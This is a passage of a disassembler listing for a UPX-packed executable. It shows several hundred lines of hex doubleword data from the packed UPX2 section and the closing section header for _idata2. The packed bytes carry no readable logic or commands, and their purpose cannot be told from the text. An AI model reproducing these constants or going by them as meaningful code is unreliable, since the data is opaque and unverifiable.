509D5ECBh, 2898B334h, 0E87502CFh, 0B7354E5Bh, 77A7FA97h dd 0CED5776h, 18A531BFh, 12F5F18Ah, 83DCA57h, 94E51D76h dd 0F55CC944h, 14E1172Dh, 4BC71237h, 980843A4h, 7805925Fh dd 0F9585FEBh, 10DD132Dh, 599EBDF7h, 0A875F67Eh, 76018E1Bh dd 0BFA93D5Fh, 0B49C5385h, 0F6EE9618h, 0A489D8E0h, 456EC17h dd 9694E6E0h, 3CA4A758h, 0D461EE3Bh, 2D95B247h, 19F98E7Eh dd 940A5C9h, 4915E9Fh, 6859EA77h, 9C2173C0h, 0EB4D877Bh dd 9FC1B636h, 3108EDE8h, 0CF59A647h, 0EC25B23Fh, 0CE18CE0Fh dd 0A638C17Ch, 7789569Ah, 419DC9A0h, 11D65273h, 60AD4E36h dd 2CB946D0h, 9F3D4DEBh, 4D67210Fh, 0D024348Ah, 5C51DD03h dd 83D125CFh, 0F4A78723h, 7DA57167h, 3CE659CDh, 0A42A9ADFh dd 1D52C134h, 0E582B2F1h, 17D87D05h, 0BC2437A4h, 86166EBBh dd 20AEF830h, 0F80C0693h, 47BB45B7h, 6C0E2ED4h, 0AF22965Eh dd 9568EA5h, 43E4A9E9h, 31CA01D0h, 804DA3B9h, 450AED8h dd 2920C543h, 0E071BEBFh, 0C43DCA57h, 0BC202E31h, 0F07EAA11h dd 10D5EEB3h, 1818422Ch, 5B92A1B8h, 3831A39Ah, 44D156EBh dd 90D75FB7h, 9C5DD93Eh, 0E941C24Fh, 5D19A7A3h, 6B68502Eh dd 0CC996687h, 7D6FF19Bh, 0A4718A60h, 0DA4C3ABCh, 8E6D369h dd 0B83F22EFh, 0FFE4E43Bh, 0A2DFA73h, 911B3E75h, 0CF4D728h dd 4811EEBh, 0D729EA77h, 0FA83FFF3h, 0E09F7B7h, 9E29FE70h dd 8926DA94h, 8C6064CEh, 0A9A0453Fh, 44F13E3Fh, 45BD4AD7h dd 0F6D1A6AAh, 8861CBEAh, 2C47043Bh, 0E51ABA86h, 2CF972E2h dd 0F88512DFh, 0D1DD1Fh, 0B9B8A01Fh, 3AE93637h, 0AE08CB64h dd 5F814EA2h, 0F47C5F90h, 8C19A673h, 519032FFh, 0A1B36E7Bh dd 0F03D3EBEh, 8DCC21C9h, 815E21Bh, 21E16EFBh, 2A158ACCh dd 0AC4D2C16h, 85AE785Fh, 9C20264Dh, 64ECEF00h, 1DA93683h dd 0EA01028Fh, 114BE7EBh, 804DAE0Dh, 46DA8233h, 5891181Ah dd 82DA988Bh, 47CD4BEFh, 3C3DA7A6h, 48D762EFh, 0A0A35BBBh dd 0CAC8F04Fh, 0CA398667h, 0DAB81BB4h, 0FCD11ED2h, 109D0E8Bh dd 0EDEC0128h, 0A035827Bh, 18E1Bh, 7148AD8Bh, 0C996687h dd 0AD65F27Bh, 0AE890E40h, 30C9A192h, 7122FCE3h, 3CA4A758h dd 0DC61EE3Bh, 0B158BA47h, 8C7A3E75h, 0CEEF7D5h, 0AFF71EEBh dd 3BF72A44h, 0B591D056h, 43508817h, 0F4C10EEFh, 0A5871943h dd 0CC19D258h, 1DD21959h, 64B14A3Ah, 30BD5AD7h, 3C08AEC5h dd 0CD5E11Bh, 0BF84A433h, 6ED3A33h, 0A90F4978h, 0F8C526B0h dd 0F5D429C0h, 901DEA03h, 28A97603h, 2AE5F2C6h, 0B4B5271Eh dd 45BA7067h, 8C599202h, 58E552FFh, 26C4B87Bh, 0BFF00E93h dd 95EC5C9Dh, 115E21Bh, 14D8E476h, 0A0065CC7h, 0EB0C036Fh dd 0F7C5D2EFh, 73BBDED4h, 10E95B72h, 1CE936C3h, 8ECD648Fh dd 43BB6Ah, 30A6FC0Eh, 675C6CEBh, 0D8A5728Bh, 54DBFD6Bh dd 81B83DDFh, 7C09D617h, 3DD5626Fh, 9E279EB9h, 0A059D322h dd 2C92A053h, 7F7097E3h, 0B515E5Bh, 0E7376A48h, 9C5DC706h dd 0A935C24Fh, 0C40AFB1Bh, 694850A7h, 0A6996687h, 6003FD94h dd 13B7EC8h, 70BDBE3Eh, 3D79FD85h, 3910D505h, 0D461AE4Fh dd 0D52DB847h, 5D7C713Ch, 38C512EBh, 71911AABh, 0DA9D5A6Dh dd 0DC1D9DC6h, 5850080Fh, 0F5C10EEFh, 0B8EB0A47h, 7CF26715h dd 282D593Fh, 4F74744Bh, 9ABD0AE3h, 0C8B89354h, 0C855E22Fh dd 8454AE33h, 886EC261h, 1893E3D9h, 53E312DFh, 0CCBADFDBh dd 1517E287h, 5CA94229h, 1930B565h, 0F4814EAFh, 714DCA67h dd 0EA3CD346h, 521DF147h, 6485146Eh, 0C3D66C97h, 1607CA3h dd 88559BA5h, 60D0EB0Ch, 20AD3A87h, 0F30C06B3h, 0A3AEA5EEh dd 9C18264Dh, 64F7CFFDh, 0F8693683h, 0C2D0088Ch, 0D2418E6Fh dd 0AB0B38Ch, 0C6D926CAh, 9200B87Eh, 8271BEB2h, 0B2657AFCh dd 3C3DBFA6h, 0CD22C8EFh, 14E11A8Ah, 0E16DFA84h, 0ACBE425Ch dd 1FBD921Fh, 0CFF7D58Fh, 50A91B3Ah, 0DC987783h, 5F37C24Fh dd 74018EDAh, 0F8C82FE4h, 221E42D4h, 0D8654AD4h, 0F57BE4Bh dd 0C89B8C62h, 97AFB368h, 87F24617h, 1452457Dh, 25DA1121h dd 6CB9B222h, 39C552DFh, 81665EDEh, 0D01DDE46h, 9429B643h dd 0D093A47Bh, 0B1362256h, 0CD2E96h, 0CE59E673h, 92E42730h dd 0E05A18EAh, 56B53F1Eh, 9A8D321Bh, 784609C4h, 9ACA0433h dd 3DB5C261h, 1892C3D1h, 53E312DFh, 0DE1DD80h, 0A1985D9Dh dd 5CE93637h, 5C3542CFh, 0DE86BEBBh, 8079F3E2h, 96F96733h dd 7CEDFBF2h, 0D143CCBh, 307D4AA3h, 78C9D587h, 0E9A5092Bh dd 0AB590851h, 9083027h, 8A7946A7h, 89C025F4h, 0A411DE1Fh dd 24DD6AF7h, 2D2CC190h, 0E87542BBh, 0C061CE5Bh, 83CA6D2Ah dd 38D966F3h, 0B23582BAh, 23FA0D60h, 89BF47DCh, 0BD229663h dd 6ED62366h, 26F3408Dh, 0F00B0C99h, 0CC48C092h, 3278D3Dh dd 16DADE48h, 0ADCB7C9h, 6B8C3894h, 0BA07E050h, 8613A06Dh dd 4A286E8Dh, 0E21FD094h, 12EFB6Eh, 9E30D351h, 0D303EE02h dd 117F9BA3h, 2612B998h, 157340B9h, 0BD6193FDh, 0F9860A14h dd 4AD76523h, 228CA587h, 0E41AFCC9h, 0F8431A3Ch, 2A8F8615h dd 991F8812h, 99C5D346h, 9468F4CFh, 9BB23341h, 7603D029h dd 0CFDF5CE9h, 1DEE2EF4h, 0E3C97908h, 2330C00Dh, 72BF9C74h dd 3EA6FF66h, 219724B1h, 639CD83Eh, 0A26F8537h, 6EA90F9Ch dd 7C4854E1h, 3716D78Dh, 0D25FAC4Dh, 0EAABB845h, 4D1FD616h dd 6C3CAF24h, 3B219122h, 0CDB8E835h, 110FFFC8h, 0E3789047h dd 32FF75AFh, 8D83529Ch, 0C21D6D72h, 1533F23Ch, 0E9EF246Ah dd 6E823250h, 0DEBB7CA1h dd 8452E06Dh, 0D11EF531h, 717EF255h, 0DDB704E5h, 0B6B72118h dd 0C24FDC69h, 8D1DDC25h, 1AF7198Ch, 0D1B3F6CDh, 0B24B3D1Ch dd 0BC4BD865h, 7403D131h, 6766873Bh, 22AF7CFDh, 9B7B0C95h dd 8AF25E67h, 7113E019h, 12EB5D7Ch, 1EEB38C5h, 607C7191h dd 1C81D25Ah, 75ED4A2Bh, 4951611Eh, 180DF6F3h, 0D584E25Bh dd 90B4A88Bh, 26091741h, 7381D972h, 19A330FDh, 1D94740Dh dd 0DC8E37AAh, 8507D418h, 6E6A478h, 7C2AD3B9h, 216BB8BCh dd 0EA02F8C4h, 2C8E1D1Dh, 0CFCF1CD0h, 4EA24A20h, 0B035A581h dd 0F0863F4Dh, 8DFFCC20h, 7EFEE070h, 5C22DBB1h, 2963B044h dd 0E21A80DCh, 204E0515h, 0C5C714D9h, 46AA7218h, 47A0BA79h dd 9E6B8DF1h, 53A12192h, 0F5C3509Dh, 28F1C41h, 0CF31B575h dd 0A96E59C0h, 96AB804Dh, 0B23A8DD6h, 7B8B58B0h, 2D427B1h dd 572C40C2h, 22FAFC8Ch, 3E868BD5h, 8F873EA1h, 0BAD28671h dd 0E373A01Dh, 0B68B6B70h, 0D548BB15h, 886B15E8h, 2AB02392h dd 71E457E7h, 77185A60h, 348716B5h, 0F27F2921h, 1BA3B865h dd 0FFE85BCEh, 72A7FBC4h, 6C1AB1F9h, 657B48ADh, 3B21DC31h dd 0F511A617h, 52B73ADCh, 95ABC7C5h, 0B8776E55h, 4ED62F0Dh dd 10FDC1Ch, 705A6031h, 46980B9Dh, 20F003F8h, 4914245Dh dd 1E367DAh, 2B289B0Eh, 16D7887Eh, 5384FC89h, 0AE3BE7EDh dd 7A177C21h, 661160EDh, 12AF94B9h, 0DD83F885h, 6837C451h dd 228E9039h, 6C0250CDh, 729BD036h, 0DA8F9498h, 2D33C04Dh dd 2FCFA84Dh, 0D34A426Eh, 0AD710A2h, 2986C995h, 0A6EDDDB6h dd 6FFD8B15h, 50C253E3h, 0F640CFC8h, 9415FF28h, 90010011h dd 42h dup(6A6A6A6Ah), 296A6A6Ah, 2424E3F8h, 6DBAB33Dh dd 843A44Ah, 5925F98h, 0A55EAB78h, 0CD92D148h, 407389D3h dd 0DEC20FE8h, 0FE367DA2h, 0E4FFED94h, 0FF26F374h, 547788A7h dd 32BE0BECh, 898B17A4h, 0F8D31403h, 9522EF08h, 15CE7B08h dd 2E7DB0D9h, 8D8613A0h, 6FC26F69h, 5E9558D3h, 6470F28Fh dd 0E19D4390h, 0C67E4715h, 0F0CB2CA1h, 8D1AE700h, 2CE6F300h dd 0C37B2C2h, 7B7E4BACh, 44CA976Ch, 4EED033h, 71A6A2F8h dd 0C16F3BD8h, 46F1B79Ch, 120D583h, 2E745F1Dh, 0D151D39Eh dd 1DAA8FACh, 8F970190h, 30E997F7h, 0E708EEE1h, 2B1A564Ch dd 0B365836Bh, 0D14E7A01h, 34C9CB18h, 7D4AA315h, 59D663F0h dd 3EF529C9h, 0F885A370h, 861294DFh, 0F2D6B8D8h, 5EBFD61h dd 930B2AB8h, 0DC6AB7BDh, 8D724869h, 18BF0618h, 0CACE1BF8h dd 4DA3A109h, 5BE3D880h, 5232FF75h, 31CABA9Dh, 3DCA17E4h dd 0FE9457B0h, 0D1A044A4h, 2279ED48h, 2DC329A9h, 0BDC953E0h dd 5921E75h, 0D15EE690h, 0CF6FFC44h, 5ABAC65Eh, 798661EEh dd 94711BE4h, 0CD1AD2FCh, 0A09836C9h, 0EEA17F4Ch, 0E9BD7780h dd 76A2645Bh, 35BED733h, 1EDD50CAh, 21D7DD9Dh, 6FB91CD4h dd 3B039AACh, 0C6529F55h, 1497A37Ah, 5DAA4EC2h, 0D69E305Bh dd 0F5828F2Fh, 379B3368h, 309158CBh, 59A64AA6h, 0D37BD79Ah dd 64F5F467h, 0BD0AEEC2h, 8A1EE9BBh, 9BC963B6h, 2EABD24Bh dd 0ED7B671Ch, 0E3C2DC60h, 86129F2Dh, 11E7C14Dh, 6F1F34C4h dd 457643A9h, 304D2760h, 810E9B8Ah, 66DE2179h, 599F4145h dd 0B574FC8Ch, 4EC84DB0h, 0DBB714DBh, 49D623C9h, 529924C9h dd 0FAEDF484h, 463AC755h, 0DF93AA2Ch, 4AD21FD5h, 119F263Dh dd 0AFEFF484h, 0CF368369h, 50FDB79Dh, 4132DEE7h, 4D1127B4h dd 0ED25D882h, 537B571Ch, 0CCC774E7h, 3D8A6E42h, 972A6BFh dd 5061EF7Ch, 0A16E82E2h, 54880217h, 394D53A0h, 0A9E5887h dd 0D15E26FAh, 956D8C44h, 6932001Fh, 0F5414FDCh, 15C918AAh dd 0F4286277h, 0C974B300h, 5C4CCAF3h, 0A4414B98h, 0FDCA22ECh dd 0C696662Ah, 952218B9h, 61729208h, 0D28647D4h, 0F91296AFh dd 0FBD2DF6Ch, 1A9BA42Dh, 0D6EA7704h, 6A9D4296h, 2D6A5FA8h dd 0F8B1249Dh, 0CD230189h, 5A910600h, 658B9549h, 83FB0898h dd 344A975Dh, 0C92F69B5h, 6EE2E4FCh, 6197F94Dh, 0D6727594h dd 0F97F15E5h, 0B87BED2Ch, 21DE6BF8h, 24200B6h, 64760390h dd 74C93312h, 0C30D9903h, 875F5CE4h, 6CA673F9h, 0F5B67C80h dd 0F5B1FAA7h, 966B8B00h, 0CC59A0EBh, 15E2162Eh, 93DB70E8h dd 453A876Dh, 86F96556h, 45D2F68Dh, 1FEBABB8h, 0AF66B0AFh dd 0A171F859h, 8A3E0D13h, 4E87A417h, 0F2649531h, 0FD5A787Fh dd 810318CDh, 8E018B18h, 121281Bh, 69B26931h, 9B82EF7Ch dd 0ADA57B7Bh, 0C37F0030h, 0B4C613D9h, 5B62A15h, 0A3DBE878h dd 0FB2AF77Dh, 42B826B5h, 21804C1Ah, 0C7825983h, 0AB21C32h dd 9926E1C1h, 65F27A0Ch, 0CDF8C2D8h, 704949FBh, 896EADC5h dd 0DDF93Ch, 61AE4E74h, 2245BF57h, 0F986A824h, 97D7566Ch dd 0FB1EEB01h, 0C8152104h, 29F67664h, 718DCF19h, 0C14EDBCCh dd 0DD4A671Fh, 33B6706Ah, 25B257CDh, 0E28CB98h, 0FD7F8BF1h dd 76EE2030h, 50DCEBF3h, 0A4273BC8h, 0ED3A3EC2h, 801C5EEDh dd 109F9F6Ch, 519E529Ah, 1DC06595h, 6DE3FCC0h, 36428F69h dd 50164D0h, 4DDA62F8h, 0AC5933AAh, 0E532C6DAh, 84BE5EA7h dd 85899764h, 0BC526C0Fh, 9CA22FB8h, 0A157910Dh, 0AEF3F454h dd 2856C2E3h, 0BA835B86h, 51A77D0Dh, 0BDFF0884h, 2C368365h dd 0A48680DCh, 72CE5BECh, 631FAE7Dh, 8866B3B9h, 0BA5AEE1Dh dd 21FE8418h, 86AC21Bh, 0C91323F0h, 0D1E86B73h, 24A7BB48h dd 6DBABE66h, 500BEB23h, 4E191FACh, 0E0DB1C40h, 9D2AF770h dd 1CE68310h, 58474CDAh, 328E5BB8h, 3A9BE4A6h, 10C744B1h dd 25CB0589h, 1585F3D8h, 0B60117A4h, 0A4D3E04Ch, 0A622EF2Ch dd 962F78DAh, 0A45BB025h, 0B9BF6525h, 725D1C6Ch, 72E7AD73h dd 45B9FA31h, 3DF5F4DFh, 9ECBDF9Fh, 114DF3A9h, 0FA459DB5h dd 2D1F1D69h, 29C8BCD1h, 7A9E7999h, 0FFC1EB2Fh, 9954A024h dd 0AAAA2B71h, 0E08DE23Fh, 0D41082AFh, 3285D320h, 0B602BB78h dd 0E95CE438h, 0DEAA37C4h, 0E29DCC1Bh, 8D0C72D1h, 0AF29B68h dd 0E113542Bh, 1FD452FCh, 0E70585B0h, 8D94EB74h, 41E6E378h dd 750B17DEh, 0F64A5ABCh, 0DC6F7041h, 0AD7F9F11h, 2A3B9854h dd 4AD20DAFh, 0EE61183Dh, 0E0697C7Bh, 0EA788A07h, 8A240B13h dd 16F3A417h, 2D472F7h, 2699E804h, 0E66582B3h, 0F5F1B92Bh dd 0C235A8F4h, 5DC5738Dh, 0D0E6E033h, 92D144B7h, 93D76FCFh dd 0BDC9AC1Fh, 0FA6DE154h, 0C7B6394Bh, 752AB744h, 96097C7Fh dd 35C24F34h, 0EC0F46A8h, 0CD1AC8FEh, 99258EA9h, 570D1B0Ch dd 8CCFE53h, 74EE17E4h, 0F7D78552h, 102DF571h, 61EE782Eh dd 2E86195Fh, 0C207757Eh, 405D9A3Ch, 911EA82Eh, 5DFC34F3h dd 26B643F0h, 0F5810619h, 9D0D2D68h, 0AD542C36h, 5B1AF70Fh dd 29513FCCh, 0F07FF219h, 3B45D764h, 8916A1DEh, 0AA1CA214h dd 0C22C3437h, 667A0796h, 0F345C32Ah, 85122720h, 0B98F6BF9h dd 0E255DD2Ah, 0DD5996A0h, 95F3CF1Ch, 0B53E2E18h, 6DB067B4h dd 61FEFA3Eh, 0FA61798h, 63BB34A7h, 0AEC8032Bh, 78435212h dd 0FEA26F88h, 0E168936Dh, 0C563C754h, 79069326h, 0AF66B7B4h dd 9414D447h, 0DD2AC3ADh, 801C47D6h, 0FD02CF28h, 1FA726Dh dd 0FA7AC5B4h, 9952C205h, 0A532B74Ch, 0F1F7FE18h, 7DFE7C59h dd 0CCE222B0h, 0E1536A8Bh, 0A12DBB08h, 768E8614h, 0DEFEE60h dd 71971FECh, 0FBE36BC8h, 982AF770h, 0BE1C2464h, 5FE8119Dh dd 9C7A05C7h, 0E704BC9Bh, 0F34CD92Ah dd 8F9161E6h, 1BE0080Fh, 1E977FCEh, 9A922C99h, 1748C516h dd 0F47BE5EDh, 0B82DED56h, 91C99135h, 32B3B506h, 0FB34F824h dd 0C87CC386h, 48582645h, 14E865F4h, 0EB1DC3B7h, 0DB2E465Eh dd 0EC64C769h, 4027AA5Bh, 9B159470h, 0F36A3C0Eh, 37CC93Ah dd 69DAFB1Dh, 48D02BA1h, 2E77D84h, 0D36C8D3Bh, 0FF78F546h dd 8E390FE7h, 77806992h, 9371E471h, 7BDBA576h, 0E26B4815h dd 923D0D9Eh, 738C49AAh, 8FA93015h, 7FA7A3D1h, 235178B9h dd 23BC09DAh, 0FBC755D6h, 8B04914Ah, 2F78DEC1h, 0EC930825h dd 161EA00Dh, 0A9714192h, 0B79219E1h, 76D7A93Ah, 1F28DC04h dd 0AAB47B09h, 67906994h, 0F92779EAh, 0FC5AA62Eh, 0FE6E2BBh dd 47CDB0B5h, 0EE77499Ah, 0BF48957Bh, 0F7CF8750h, 6A356E5Ah dd 53AC799Ah, 6F95D245h, 30348112h, 0BD41D554h, 846BEA72h dd 0D92DAE41h, 9CE431FBh, 0E704BC9Bh, 0F34C992Ah, 0F89A6166h dd 57A622AAh, 22694DE7h, 0A37CB0B4h, 0FE60B6DDh, 3A01E652h dd 7D06D8Ah, 0E7EC79CAh, 0FE204204h, 48875BAh, 3B6B4491h dd 68F45AB9h, 0C9B96984h, 0F27B15F1h, 0D34C78D3h, 977F192Ah dd 7ED70BF9h, 4993EC60h, 0ED20BD0Fh, 0A348E6CFh, 568E7096h dd 7F922970h, 7840E5ECh, 2CF375E2h, 0A5F3AFB9h, 2BFE029Eh dd 43F1D859h, 831C69BAh, 9EA5B536h, 62778444h, 6789A313h dd 1E495AAAh, 0C18D5F6h, 0DB54CC95h, 544BFD4Eh, 5D09F6B2h dd 0F6C805EFh, 8B04C365h, 0E716223Eh, 275D7CBDh, 2FB835C6h dd 7C80C1D2h, 4E2775BCh, 480656C5h, 5F514BFBh, 0A2A7D282h dd 2D7B6595h, 0C58912FAh, 0F658951Fh, 18E7E938h, 56A87707h dd 7F5998h, 3A83854Eh, 0CB04E858h, 7B4D116h, 5BEE388Ah dd 3FBB749Fh, 8F1B1498h, 72B7DD6Eh, 3DCDD4Bh, 4FA825B6h dd 0E6E777B6h, 0A7709D73h, 76BBD99Ch, 0FD82157h, 5BD621B2h dd 511E69BBh, 970D0CEDh, 0FF48C516h, 0DF11166h, 73E09834h dd 161B798Ah, 0AF788137h, 0FB748152h, 300A161Bh, 4176EBB8h dd 741F8720h, 99233B0Bh, 3172679Ch, 0E1BFEE88h, 2BFADEC2h dd 184C637Dh, 9719EBB3h, 6773C95Ah, 0C077FE1Eh, 72B6E45Dh dd 12EF6DBEh, 0D36C8CCEh, 0D61640B9h, 0AE4B01D2h, 77806892h dd 0BA46E477h, 0BDh dup(0) dd offset byte_31428342 dd 0 dd 80000000h, 18C0h dup(0) UPX2 ends ; Section 4. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00011000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31431000h align 2000h _idata2 ends end start